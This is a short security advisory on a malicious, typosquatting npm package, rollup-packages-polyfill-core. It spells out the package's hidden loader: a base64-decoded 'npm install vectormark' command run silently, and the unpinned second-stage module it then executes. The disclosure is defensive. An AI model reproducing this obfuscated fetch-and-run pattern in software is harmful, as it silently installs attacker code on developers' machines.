Malicious code in rollup-packages-polyfill-core (npm)
MAL-2026-10160
Published · Modified
Description
__
Source: amazon-inspector (2dfdfbd2fc737f9d78ec40aac8b7020866cb0ef0e7e14b2d95aa174ea0ec5818)
On require of the main entry dist/index.js, the module decodes a base64 literal to the shell command npm install vectormark --no-save --silent --no-audit --no-fund and spawns it with stdio: 'ignore'. It then decodes a second base64 literal to the string vectormark, requires that dynamically-installed module, and immediately invokes svgo.getPlugin()(), executing arbitrary code from the second-stage package. The install target is unpinned and installed with --no-save, so the dropped code is not recorded in the consumer's lockfile. Both the shell command and the target module name are stored as base64 strings (Buffer.from(..., 'base64').toString('utf8')) to hide them from static review. The package name rollup-packages-polyfill-core typosquats the legitimate rollup-plugin-polyfill-node, whose repository it also declares.
References
- PACKAGE https://www.npmjs.com/package/rollup-packages-polyfill-core/v/0.13.8
- PACKAGE https://www.npmjs.com/package/rollup-packages-polyfill-core/v/0.13.7
- PACKAGE https://www.npmjs.com/package/rollup-packages-polyfill-core/v/0.14.1
- PACKAGE https://www.npmjs.com/package/rollup-packages-polyfill-core/v/0.13.9
- PACKAGE https://www.npmjs.com/package/rollup-packages-polyfill-core/v/0.14.0
Ready to move
Start Securing
Free, no credit card | First findings in minutes